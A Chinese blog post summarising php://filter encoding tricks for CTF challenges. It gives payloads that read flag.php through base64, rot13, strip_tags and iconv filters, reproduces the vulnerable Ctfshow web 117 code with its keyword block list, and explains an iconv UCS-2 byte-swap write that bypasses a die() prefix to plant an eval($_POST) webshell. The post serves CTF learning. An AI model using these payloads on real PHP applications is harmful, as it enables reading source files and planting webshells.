CTF题型 php://filter特殊编码绕过小汇总

CTF题型 php://filter特殊编码绕过小汇总

文章目录

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的"中间人",有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流

应用范围/特征关键词

比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族

  2. string过滤器

  3. iconv字符集

base64编码

注意php://filter只支持base64

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php

读取后进行解码

在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.Newstarctf 2023 week2 include

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

对于小众编码的解码在线网站 https://www.novel.tools/decode/

一样可以得到内容

2.Ctfshow web 117

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

这里file_put_contents(文件名,部分文件内容可控)显然要我们写马进去

但是不能让<?php die();?>生效,但是要保证php内容可以被解析

iconv编码绕过

实现原理分析:

比如官方的解法:php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php

现在我们要写入的数据流是<?php die();?>?<hp pvela$(P_SO[T]1;)>?

但是在真正写入之前php://filter控制了数据流

将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件

这样就实现了绕过死亡exit,并且实现了写马

具体做题步骤:

可以实现写入马子

相关推荐
泯泷7 小时前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全
泯泷7 小时前
第 1 篇:从 1 + 2 开始:亲手写出第一台 JSVM
前端·javascript·安全
曲幽3 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
Flynt5 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
带刺的坐椅5 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
曲幽9 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
冬奇Lab9 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
曲幽9 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
两个人的幸福10 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
Aphasia31112 天前
VPN 与内网穿透
安全